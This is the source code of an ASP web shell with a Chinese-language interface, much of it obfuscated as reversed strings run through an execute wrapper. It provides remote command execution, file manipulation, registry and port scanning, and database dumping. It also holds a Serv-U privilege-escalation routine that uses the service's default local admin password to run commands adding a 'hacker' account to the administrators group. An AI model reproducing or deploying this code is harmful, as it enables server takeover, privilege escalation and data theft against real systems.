resut~)¨~tropd¨~(mrof.tseuqer = trop~)¨~dwpd¨~(mrof.tseuqer = dwp~)¨~resud¨~(mrof.tseuqer = rsu~)¨~pires¨~(mrof.tseuqer = pirevres~¨~>mrof/<>elbat/<>rt/<>dt/<>'½»Ìá'=eulav 'mottub'=ssalc 'timbus'=epyt 'timbuS'=eman tupni<>DTBT=ssalc dt<¨~srr~¨~>dt/<³ýɾ¶¨È·>'xoBtxeT'=ssalc 'led'=eulav 'nottuboidar'=eman 'oidar'=epyt tupni<¨~srr~¨~¼ÓÌí¶¨È·>'xoBtxeT'=ssalc dekcehc 'dda'=eulav 'oidar'=epyt 'nottuboidar'=eman tupni<>DTBT=ssalc dt<>rt<¨~srr~¨~>rb<>'12'=eulav 'tropt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropt'=eman tupni<>DTBT=ssalc dt<>dt/<:¿Ú¶ËÎñ·þ>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'\:C'=eulav 'htapt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'htapt'=eman tupni<>DTBT=ssalc dt<>dt/<:¾¶Â·µÄ¶ÔËùµÄºÅÕÊ>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'rekcah'=eulav 'ssap'=di 'xoBtxeT'=ssalc 'txet'=epyt 'ssapt'=eman tupni<>DTBT=ssalc dt<>dt/<:ÂëÃÜ»§ÓõļÓÌí>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'rekcah'=eulav 'resut'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resut'=eman tupni<>DTBT=ssalc dt<>dt/<:Ãû»§ÓõļÓÌí>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'85934'=eulav 'tropd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropd'=eman tupni<>DTBT=ssalc dt<>dt/<:¿Ú¶ËU-VRES>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'P@0;kl.#ka$@l#'=eulav 'dwpd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'dwpd'=eman tupni<>DTBT=ssalc dt<>dt/<: ÂëÃÜÔ±Àí¹Ü>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'rotartsinimdAlacoL'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resud'=eman tupni<>DTBT=ssalc dt<>dt/<:Ô±Àí¹Ü>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'0.0.0.0'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'pires'=eman tupni<>DTBT=ssalc dt<>dt/<:PIÆ÷Îñ·þ>DTBT=ssalc dt<>rt<¨~srr~¨~>RT/<>DT/<>tnof/<¸Ä±»ÂëÃÜu-vreS±í´ú¾Í¹¦³É²»ÔÙ¹ûÈç>rb<¨~&)¨~RDDA_LACOL¨~(selbairaVrevreS.tseuqeR&¨~:PI´Ë³É¸ÄÐ޾͹¦³É²»0.0.0.0¹ûÈç>rb<½ÓÁ¬ÒԿɶ¼PIºÎÈαí´ú0.0.0.0:PIÆ÷Îñ·þ>rb<:Ã÷˵½ÓÁ¬PI>rb<>rb<°æɱͨÐò³ÌȨT U-vreS>'ffffff'=roloc tnof<>daeHBT=ssalc 2=napsloc DT<>RT<>ffffff#=roloCgb 0=redrob 084=htdiw 3=gniddapllec 1=gnicapsllec retnec=ngila ELBAT<>''=noitca 'tsop'=dohtem '1mrof'=eman mrof<¨~srr~)(ptfus noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fI dnE ~gnihtoN=nnoC teS ~esolC.nnoC ~~fI dnE~¨~¨~=WR:WR etirW.esnopseR ~~fI dnE ~rtSlqS&¨~£º¾äÓïLQS¨~ & WR=WR ~)rtSlqS(etucexE.nnoC ~ eslE ~¨~¨~=WR:WR etirW.esnopseR ~ ~gnihtoN=sR teS:esolC.sR ~¨~>elbat/<>rt/<>dt/<>'FEFEFE#'=roloc rh<¨~ & WR=WR ~fI dnE ~¨~>a/<ҳβ>')¨~&NP&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&>a/<Ò³Ò»ÏÂ>')¨~&1+egaP&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&¨~ & WR=WR ~txeN ~fI dnE ~¨~;psbn&>a/<¨~&i&¨~>')¨~&i&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~eslE ~¨~;psbn&¨~&i & WR=WR ~nehT egaP=i fI ~roF tixE nehT NP>i fI ~8+pS oT pS=i roF ~fi dnE:1=pS:eslE:8-egaP=pS:nehT 8>egaP fI ~¨~;psbn&>a/<Ò³Ò»ÉÏ>')¨~&1-egaP&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&>a/<Ò³Ê×>')1,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&;psbn&¨~ & WR=WR ~nehT 1>NP fI ~NP&¨~/¨~&egaP&¨~£ºÂëÒ³;psbn&¨~&CR&¨~£ºÊý¼¼Ç>retnec=ngila ¨~&1+NF&¨~=napsloc dt<>rt<¨~ & WR=WR ~~)rtSlqS(edoCnElmtH=rtSlqS ~ ~¨~¨~=WR:WR etirW.esnopseR ~ ~pooL ~txeNevoM.sR ~¨~>rt/<¨~ & WR=WR ~txeN ~¨~>dt/<¨~&ofnIloC&¨~>¨~&rolocgB&¨~=rolocgb dt<¨~ & WR=WR ~fI dnE ~))05,)i(sR(tfeL(edocnELMTH=ofnIloC ~eslE ~))i(sR(edocnELMTH=ofnIloC ~nehT 1=CR fI ~fi dnE:¨~FEFEFE#¨~=rolocgB:eslE:¨~5F5F5F#¨~=rolocgB:nehT ¨~FEFEFE#¨~=rolocgB fI ~1-NF oT 0=i roF ~ ¨~>dt/<>tnof/'sgnidgniw'=ecaf tnof<>cccccc#=rolocgb dt<>rt<¨~ & WR=WR ~¨~FEFEFE#¨~=rolocgB ~1-tnuoC=tnuoC ~0>tnuoC dnA )foB.sR ro foE.sR(toN elihW oD ~~¨~>rt/<¨~ & WR=WR ~txeN ~gnihton=dlF teS ~¨~>dt/<¨~&emaN.dlF&¨~>'retnec'=ngila dt<¨~ & WR=WR ~)n(metI.sdleiF.sR=dlF teS ~1-NF ot 0=n roF ~ ¨~>dt/<>dt<>cccccc#=rolocgb 52=thgieh rt<>retnec=ngila elbat<¨~ & WR=WR ~egaP=egapetulosba.sR nehT 1>egaP fI ~NP=egaP nehT NP>egaP fI ~1=egaP nehT 0=egaP rO ¨~¨~=egaP fI ~)egaP(gnlC=egaP nehT ¨~¨~>vid/<¨~&rtSlqS&¨~£º¾äÓïÐÐÖ´>'retnec'=ngila vid<¨~ & WR=WR ~neht ¨~tceles¨~=))6,rtSlqS(tfeL(esaCL fI ~~nehT 01>)rtSlqS(neL fI~ ~¨~¨~=WR:WR etirW.esnopseR ~¨~>elbat/<>rt/<¨~ & WR=WR ~gnihtoN=sR teS ~ pooL ~ txeNevoM.sR ~ fI dnE ~¨~>dt/<>a/<¨~&emaNT&¨~>')1,¨~¨~]¨~&emaNT&¨~[ MORF * TCELES¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~>rb<>a/<] led [>')1,¨~¨~]¨~&emaNT&¨~[ ELBAT PORD¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<>retnec=ngila dt<¨~ & WR=WR ~)¨~EMAN_ELBAT¨~(sR=emaNT ~neht ¨~ELBAT¨~=)¨~EPYT_ELBAT¨~(sR fI ~foE.sR toN elihW oD ~ tsriFevoM.sR ~¨~>dt/<Ãû>rb<±í>dt<>'CCCCCC#'=rolocgB '52'=thgieh rt<>'retnec'=ngila elbat<¨~ & WR=WR ~ )02(amehcSnepO.nnoC=sR teS ~rtSbD nepO.nnoC ~))0,5(TbO(tcejbOetaerC=nnoC teS ~ ~nehT 04>)rtSbD(neL fI ~~¨~¨~=WR:WR etirW.esnopseR ~¨~>naps/<>'OSFS'=di naps<>elbat/<>mrof/<>rt/<¨~ & WR=WR ~¨~>dt/<>'timbus'=ssalc ')(kcehCbD nruter'=kcilcno 'ÐÐÖ´'=eulav 'timbuS'=eman 'timbus'=epyt tupni<>'FFFFFF#'=rolocgb 'retnec'=ngila dt<¨~ & WR=WR ~¨~>dt/<>'¨~&rtSlqS&¨~'=eulav '514:htdiw'=elyts 'rtSlqS'=eman tupni<>'FFFFFF#'=rolocgb dt<¨~ & WR=WR ~¨~>dt/<:ÁîÃü×÷²ÙLQS;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>'1'=eulav 'neddih'=epyt 'egaP'=eman tupni<>'reganaMbD'=eulav 'neddih'=epyt 'noitcA'=eman tupni<¨~ & WR=WR ~¨~>rt/<>dt/<>tceles/<>noitpo/<ʾÏÔÈ«Íê>21=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<¶Î×Ö³ýɾ>11=eulav noitpo<>noitpo/<¶Î×Ö¼ÓÌí>01=eulav noitpo<>noitpo/<±í¾ÝÊýɾ>9=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<±í¾ÝÊý½¨>8=eulav noitpo<>noitpo/<¾ÝÊý¸ÄÐÞ>7=eulav noitpo<>noitpo/<¾ÝÊý³ýɾ>6=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<¾ÝÊý¼ÓÌí>5=eulav noitpo<>noitpo/<¾ÝÊýʾÏÔ>4=eulav noitpo<>noitpo/<--·¨ÓïLQS-->1-=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<½ÓÁ¬NSD>3=eulav noitpo<>noitpo/<½ÓÁ¬lqSyM>2=eulav noitpo<>noitpo/<½ÓÁ¬lqSsM>1=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<½ÓÁ¬sseccA>0=eulav noitpo<>noitpo/<Àýʾ´®½ÓÁ¬>1-=eulav noitpo<>')eulav.]xednIdetceles[snoitpo(rtSbDlluF nruter'=egnahcno 'ntBrtS'=eman tceles<>'FFFFFF#'=rolocgb 'retnec'=ngila '29'=htdiw dt<¨~ & WR=WR ~¨~>dt/<>'¨~&rtSbD&¨~'=eulav '514:htdiw'=elyts 'rtSbD'=eman tupni<>'FFFFFF#'=rolocgb dt<¨~ & WR=WR ~¨~>dt/<:´®½ÓÁ¬¿â¾ÝÊý;psbn& >'FFFFFF#'=rolocgb '09'=htdiw dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<×÷²Ù¿â¾ÝÊý>'unem'=rolocgb 'retnec'=ngila '3'=napsloc '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>''=noitca 'tsop'=dohtem 'mroFbD'=eman mrof<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~)¨~rtSbD¨~(mroF.tseuqeR=rtSbD ~))¨~rtSlqS¨~(mroF.tseuqeR(mirT=rtSlqS ~)(reganaMbD noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fi dne ~gnihtoN=osf teS ~gnihtoN=sr teS ~gnihtoN=nnoc teS ~gnihtoN=sda teS ~esolc.nnoc ~esolc.sr ~1+)¨~eman¨~(noisses=)¨~eman¨~(noisses ~)¨~>tpircs/<;)'¨~&)))¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(htaPeR&¨~ÊÇÖ·µØn\!·ÅÊÍ¿â¾ÝÊý¨~&))¨~seliF¨~(mrof.tseuqer(htaPeR&¨~½«¹¦³É¾­ÒÑn\:ϲ¹§'(trela>tpircs<¨~(etirW.esnopseR ~¨~>rh<¨~ etirW.esnopseR ~pool ~txenevom.sr ~hsulF.esnopseR ~¨~>rb<¨~ & elif & ¨~ > ¿â³ö;psbn&>'006'=htdiw 'retnec'=ngila elbat<¨~ etirW.esnopseR ~fi dne ~esolc.sda ~2,elif eliFoTevaS.sda ~)¨~ydob¨~(sr etirw.sda ~1=epyT.sda ~nepO.sda ~neht )¨~¨~><)¨~elif¨~(sr( dna ))elif(stsixEeliF.osf ton( fi ~)redlof(redloFetaerC.osf neht )redlof(stsixEredloF.osf ton fi ~redlof=htap ~)¨~elif¨~(sr & ¨~\¨~ & redlof=elif ~)¨~redlof¨~(sr & ))¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM=redlof ~)fob.sr ro foe.sr(ton elihw od ~))0,0(TbO(tcejbOetaerC.revreS=osf teS ~))0,6(TbO(tcejbOetaerC.revreS=sda teS ~3,3,nnoc,¨~zw morf * tceles¨~ nepO.sr ~)¨~seliF¨~(mrof.tseuqer&¨~=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP¨~ nepo.nnoc ~)¨~teSdroceR.BDODA¨~(tcejbOetaerC.revreS=sr teS ~))0,5(TbO(tcejbOetaerC.revreS=nnoc teS ~¨~>rh<>'006'=htdiw 'retnec'=ngila elbat<¨~ etirW.esnopseR ~neht ¨~2V¨~=)¨~1R¨~(mrof.tseuqer dna ¨~¨~><)¨~seliF¨~(mrof.tseuqer fi ~ ~fi dne ~)¨~>tpircs/<;)'¨~&)))1+)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,)¨~seliF¨~(mrof.tseuqer(diM(htappam.revres(htaPeR & ¨~ÊÇÖ·µØn\!¿âÈë¨~ & )))¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(htaPeR & ¨~½«¹¦³É¾­ÒÑ<:ϲ¹§'(trela>tpircs<¨~(etirW.esnopseR ~¨~>rh<¨~ etirW.esnopseR ~gnihtoN=osf teS ~gnihtoN=sda teS ~gnihtoN=dlof teS ~gnihtoN=sr teS ~gnihtoN=nnoc teS ~esolc.nnoc ~esolc.sr ~)1+)¨~\¨~,)1-)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(veRrtsnI,)1+)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,)¨~seliF¨~(mrof.tseuqer(diM,)1-)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(FS llaC ~3,3,nnoc,¨~zw morf * tceles¨~ nepO.sr ~)¨~teSdroceR.BDODA¨~(tcejbOetaerC.revreS=sr teS ~gnihtoN=aC teS ~¨~)egami ydob,RAHCRAV elif,RAHCRAV redlof,DERETSULC YEK YRAMIRP )1,1(YTITNEDI tni di(zw ELBAT ETAERC¨~etucexE.nnoc ~bd nepo.nnoc ~bd etaerC.aC ~))0,2(TbO(tcejbOetaerC.revreS=aC teS ~ ))0,5(TbO(tcejbOetaerC.revreS=nnoc teS ~))1+)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,)¨~seliF¨~(mrof.tseuqer(diM(htappam.revres&¨~=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP¨~=bd ~¨~>rh<>'006'=htdiw 'retnec'=ngila elbat<¨~ etirw.esnopser ~))0,6(TbO(tcejbOetaerC.revreS=sda tes ~ ))0,0(TbO(tcejbOetaerC=osf tes ~neht ¨~1V¨~=)¨~1R¨~(mrof.tseuqer dna ¨~¨~><)¨~seliF¨~(mrof.tseuqer fi ~ ~¨~¨~=WR:WR etirW.esnopseR ~¨~>elbat/<>mrof/<>rt/<>dt/<>'timbus'=ssalc 'ÈÏÈ·'=eulav 'timbus'=epyt tupni<;psbn&>'bdt.bdMoT\¨~&)tooRWWW(htaPeRR&¨~'=eulav '514:htdiw'=elyts 'seliF'=eman 'txet'=epyt tupni<:¾¶Â·;psbn&>'FFFFFF#'=rolocgb dt<¨~ & WR=WR ~ ¨~>dt/<¿â³ö>'2V'=eulav '1R'=eman 'oidar'=epyt tupni< ¿âÈë>'1R'=eman dekcehc '1V'=eulav 'oidar'=epyt tupni<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>''=noitca 'TSOP'=dohtem mrof<>dt/<>rt/<¿â³ö/¿âÈë°ü´ò>'unem'=rolocgb 'retnec'=ngila '2'=napsloc '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~0=seripxE.esnopseR ~)(bdMoT noitcnuF" ExeCuTe(UZSS(Hacker)) Function SF(Path,name,sz) dim a,pf,pi set fold=Fso.GetFolder(Path) For Each i in Fold.files a=1 pf=Mid(Path,sz) pi=RRePath(Path&"\"&i.Name) Call Mdb(pi,name,pf) Next if a="" then Call Mdb(Path,name,Mid(Path,sz)) a="" For Each F in FOLD.subfolders Call SF(RRePath(Path & "\" & F.Name),name,sz) Next End Function Function Mdb(pi,name,pf) dim body,file on error resume next if Mid(pi,InstrRev(pi,"\")+1)<>name then if Mid(pi,InstrRev(pi,"\")+1)<>"" then ads.Open ads.Type=1 ads.LoadFromFile pi file=Mid(pi,InstrRev(pi,"\")+1) if Err then Err.clear file="" body="" else body=ads.read Response.Write " Èë¿â > "&pi&"
" Response.Flush end if ads.Close end if rs.addnew rs("folder")=pf rs("file")=file rs("body")=body rs.update end if End Function Select Case Action Case "ShowFile":Set SFSO=New LBF:SFSO.ShowFile(Session("FolderPath")):Set SFSO=Nothing Case "DownFile":DownFile FName Case "EditFile":Set SFSO=New LBF:SFSO.EditFile(FName):Set SFSO=Nothing Case "DelFile":Set SFSO=New LBF:SFSO.DelFile(FName):Set SFSO=Nothing Case "CopyFile":Set SFSO=New LBF:SFSO.CopyFile(FName):Set SFSO=Nothing Case "MoveFile":Set SFSO=New LBF:SFSO.MoveFile(FName):Set SFSO=Nothing Case "DelFolder":Set SFSO=New LBF:SFSO.DelFolder(FName):Set SFSO=Nothing Case "CopyFolder":Set SFSO=New LBF:SFSO.CopyFolder(FName):Set SFSO=Nothing Case "MoveFolder":Set SFSO=New LBF:SFSO.MoveFolder(FName):Set SFSO=Nothing Case "NewFolder":Set SFSO=New LBF:SFSO.NewFolder(FName):Set SFSO=Nothing Case "UpFile":UpFile() Case "suftp":suftp() Case "CmdShell":CmdShell() Case "TSearch":TSearch() Case "Course":Course() Case "TRegedit":TRegedit() Case "php":php() Case "MMD":MMD() Case "getTerminalInfo":getTerminalInfo() Case "adminab":adminab() Case "proxy":proxy() Case "goback":goback() Case "showE":showE() Case "lpdel":lpdel() Case "ServerInfo":ServerInfo() Case "DbManager":DbManager() Case "ToMdb":ToMdb() Case "sql":sql() Case "PageAddToMdb":PageAddToMdb() Case "asplist"asplist() Case "ScanDriveForm":ScanDriveForm() Case "ScanDrive": ScanDrive Request("Drive")() Case "ScFolder": ScFolder Request("Folder")() Case "ScanPort":ScanPort() Case "downloads":downloads() Case "Servu" Hacker="fi dne ~¨~>retnec/<>mrof/<>elbat/<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'1'=eulav '1noitca'=di 'neddih'=epyt '1noitca'=eman tupni<¨~ SRR ~¨~>'ÖÃÖØ'=eulav '2timbuS'=eman 'teser'=epyt tupni<¨~ SRR ~¨~>'½»Ìá'=eulav 'timbuS'=eman 'timbus'=epyt tupni<¨~ SRR ~¨~>'2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'07'=ezis 'dda/ rekcah srotartsinimda puorglacol ten & dda/ rekcah rekcah resu ten c/ dmc'=eulav 'c'=di 'xet'=epyt 'c'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£ºÁîÃüÐÐÖ´;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis '¨~&f&¨~'=eulav 'f'=di 'txet'=epyt 'f'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£º¾¶Â·Í³Ïµ;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis '85934'=eulav 'trop'=di 'txet'=epyt 'trop'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£º¿Ú¶ËÇ°µ±;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis 'P@0;kl.#ka$@l#'=eulav 'p'=di 'txet'=epyt 'p'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£ºÁî¿ÚÇ°µ±;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis 'rotartsinimdAlacoL'=eulav 'u'=di 'txet'=epyt 'u'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£º»§ÓÃÇ°µ±;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<>dt/<¼þÎÄMOCÓëSBVÕß»ò exe.ÂíľµÄ´«ÉÏÄã\:d c/ dmc:ÈçÀý,¸ÄÐÞÒâÈÎÒÔ¿ÉÁîÃü>rb<´Î¼¸½»Ìá¶à¾Í¹¦³É²»È¨Ìá¹ûÈç:ʾÌá¨~ SRR ~¨~>rb<>'2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<>rt/<¨~ SRR ~¨~>dt/<ÏÞȨÉýÌá uvreS>'2'=napsloc dt<¨~ SRR ~¨~>rB<>'elddim'=ngilav 'retnec'=ngila rt<¨~ SRR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~ SRR ~¨~>'uvreS=noitcA?'=noitca 'nusdlog'=eman 'tsop'=dohtem mrof<>retnec<¨~ SRR ~gnihtoN = c teS ~troba.c ~gnihtoN = b teS ~troba.b ~gnihtoN = a teS ~troba.a ~)¨~c¨~(noisses=c tes ~)¨~b¨~(noisses=b tes ~)¨~a¨~(noisses=a tes ~txen emuser rorre no ~esle ~¨~>retnec/<¨~ SRR ~¨~>'uvreS=noitcA?'=ferh.noitacol=kcilCno ' Ðø¼Ì»Ø·µ '=eulav 'nottub'=epyt tupni<¨~ SRR ~¨~>rb<>rb<>tnof/<¨~&dmc&¨~>der=roloc tnof<>rb<£ºÁîÃüÁËÐÐÖ´ÒÑ,±ÏÍêȨÌá>retnec<>rb<¨~ SRR ~c=)¨~c¨~(noisses tes ~tiuq & niamodled & tm & ssapnigol & resunigol dnes.c ~¨~¨~ ,¨~¨~ ,eurT ,¨~3s/nimdapu/4112903/¨~ & trop & ¨~:1.0.0.721//:ptth¨~ ,¨~TEG¨~ nepo.c ~)¨~PTTHLMX.tfosorciM¨~(tcejbOetaerC.revreS=c tes ~neht 3 = 1noitca fiesle ~¨~>tpircs/<¨~ SRR ~¨~;)0004,';)(timbus.nusdlog.lla.tnemucod'(tuoemiTtes¨~ SRR ~¨~;)'>retnec<...´ýµÈÇë,ÏÞȨÉýÌáÔÚÕý>retnec<>rb<'(etirw.tnemucod¨~ SRR ~¨~>'tpircsavaj'=egaugnal tpircs<¨~ SRR ~¨~>mrof/<>'3'=eulav '1noitca'=di 'neddih'=epyt '1noitca'=eman tupni<¨~ SRR ~¨~>'05'=ezis '¨~&f&¨~'=eulav 'f'=di 'neddih'=epyt 'f'=eman tupni<¨~ SRR ~¨~>'05'=ezis '¨~&dmc&¨~'=eulav 'c'=di 'neddih'=epyt 'c'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&trop&¨~'=eulav 'trop'=di 'neddih'=epyt 'trop'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&ssap&¨~'=eulav 'p'=di 'neddih'=epyt 'p'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&resu&¨~'=eulav 'u'=di 'neddih'=epyt 'u'=eman tupni<¨~ SRR ~¨~>'nusdlog'=eman 'tsop'=dohtem mrof<¨~ SRR ~b=)¨~b¨~(noisses tes ~tiuq & fLrCbv & dmc & ¨~ cexe etis¨~ & fLrCbv & ¨~do ssap¨~ & fLrCbv & ¨~og resU¨~ dnes.b ~¨~¨~ ,¨~¨~ ,eurT ,¨~2s/nimdapu/4112903/¨~ & tropptf & ¨~:1.0.0.721//:ptth¨~ ,¨~TEG¨~ nepo.b ~)¨~PTTHLMX.tfosorciM¨~(tcejbOetaerC.revreS=b tes ~neht 2 = 1noitca fiesle ~¨~>tpircs/<¨~ SRR ~¨~;)0004,¨~¨~;)(timbus.nusdlog.lla.tnemucod¨~¨~(tuoemiTtes¨~ SRR ~¨~;)¨~¨~>retnec<...¨~&ssap&¨~£ºÁî¿Ú,¨~&resu&¨~ :Ãû»§ÓÃÓÃʹ,¨~&trop&¨~:1.0.0.721 ½ÓÁ¬ÔÚÕý>retnec<>rb<¨~¨~(etirw.tnemucod¨~ SRR ~¨~>'tpircsavaj'=egaugnal tpircs<¨~ SRR ~¨~>mrof/<>'2'=eulav '1noitca'=di 'neddih'=epyt '1noitca'=eman tupni<¨~ SRR ~¨~>¨~¨~05¨~¨~=ezis '¨~&f&¨~'=eulav 'f'=di 'neddih'=epyt 'f'=eman tupni<¨~ SRR ~¨~>¨~¨~05¨~¨~=ezis '¨~&dmc&¨~'=eulav 'c'=di 'neddih'=epyt 'c'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&trop&¨~'=eulav 'trop'=di 'neddih'=epyt 'trop'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&ssap&¨~'=eulav 'p'=di 'neddih'=epyt 'p'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&resu&¨~'=eulav 'u'=di 'neddih'=epyt 'u'=eman tupni<¨~ SRR ~¨~>'nusdlog'=eman 'tsop'=dohtem mrof<¨~ SRR ~a=)¨~a¨~(noisses tes ~tiuq & resuwen & niamodwen & niamodled & tm & ssapnigol & resunigol dnes.a ~¨~¨~ ,¨~¨~ ,eurT,¨~1s/nimdapu/4112903/¨~ & trop & ¨~:1.0.0.721//:ptth¨~ ,¨~TEG¨~ nepo.a ~)¨~PTTHLMX.tfosorciM¨~(tcejbOetaerC.revreS=a tes ~neht 1 = 1noitca fi ~)f,¨~:c¨~,resuwen(ecalper=resuwen ~fLrCbv & ¨~TIUQ¨~ = tiuq ~fLrCbv & ¨~PDCLEMAWR|\\:c=sseccA ¨~ & fLrCbv & ¨~enoN=soitaR-¨~ & fLrCbv & ¨~ralugeR=epyTdrowssaP-¨~ & fLrCbv & ¨~metsyS=ecnanetniaM-¨~ ~_ & fLrCbv & ¨~0=mumixaMatouQ-¨~ & fLrCbv & ¨~0=tnerruCatouQ-¨~ & fLrCbv & ¨~0=tiderCsoitaR-¨~ & fLrCbv & ¨~1=nwoDoitaR-¨~ ~_ & fLrCbv & ¨~1=pUoitaR-¨~ & fLrCbv & ¨~0=eripxE-¨~ & fLrCbv & ¨~1-=tuOemiTnoisseS-¨~ & fLrCbv & ¨~006=tuOemiTeldI-¨~ & fLrCbv & ¨~1-=sresUrNxaM-¨~ ~_ & fLrCbv & ¨~0=nwoDtimiLdeepS-¨~ & fLrCbv & ¨~0=pUtimiLdeepS-¨~ & fLrCbv & ¨~1-=PIrePnigoLsresUxaM-¨~ & fLrCbv & ¨~0=elbanEatouQ-¨~ ~_ & fLrCbv & ¨~0=drowssaPegnahC-¨~ & fLrCbv & ¨~0=nigoLwollAsyawlA-¨~ & fLrCbv & ¨~0=neddiHediH-¨~ & fLrCbv & ¨~0=eruceSdeeN-¨~ ~_ & fLrCbv & ¨~1=shtaPleR-¨~ & fLrCbv & ¨~0=elbasiD-¨~ & fLrCbv & ¨~=eliFseMnigoL-¨~ & fLrCbv & ¨~\\:c=riDemoH-¨~ ~_ & fLrCbv & ¨~do=drowssaP-¨~ & fLrCbv & ¨~og=resU-¨~ & fLrCbv & tropptf & ¨~=oNtroP-¨~ & fLrCbv & ¨~0.0.0.0=PI-¨~ & fLrCbv & ¨~PUTESRESUTES-¨~ = resuwen ~fLrCbv & ¨~=yeKOZT ¨~ & fLrCbv & ¨~0=elbanEOZT-¨~ & fLrCbv & ¨~0|1|1-|¨~ & tropptf & ¨~|0.0.0.0|4112903=niamoD-¨~ & fLrCbv & ¨~NIAMODTES-¨~ = niamodwen ~fLrCbv & ¨~ECNANETNIAM ETIS¨~ = tm ~fLrCbv & tropptf & ¨~=oNtroP ¨~ & fLrCbv & ¨~0.0.0.0=PI-¨~ & fLrCbv & ¨~NIAMODETELED-¨~ = niamodled ~fLrCbv & ssap & ¨~ ssaP¨~ = ssapnigol ~fLrCbv & resu & ¨~ resU¨~ = resunigol ~3=tuoemit ~00556 = tropptf ~fi dne ~)2,f(tfel=f ~esle ~)(htapg=f ~neht ¨~¨~=f fi ~))¨~f¨~(tseuqer(mirt=f ~))¨~c¨~(tseuqer(mirt = dmc ~))¨~trop¨~(tseuqer(mirt = trop 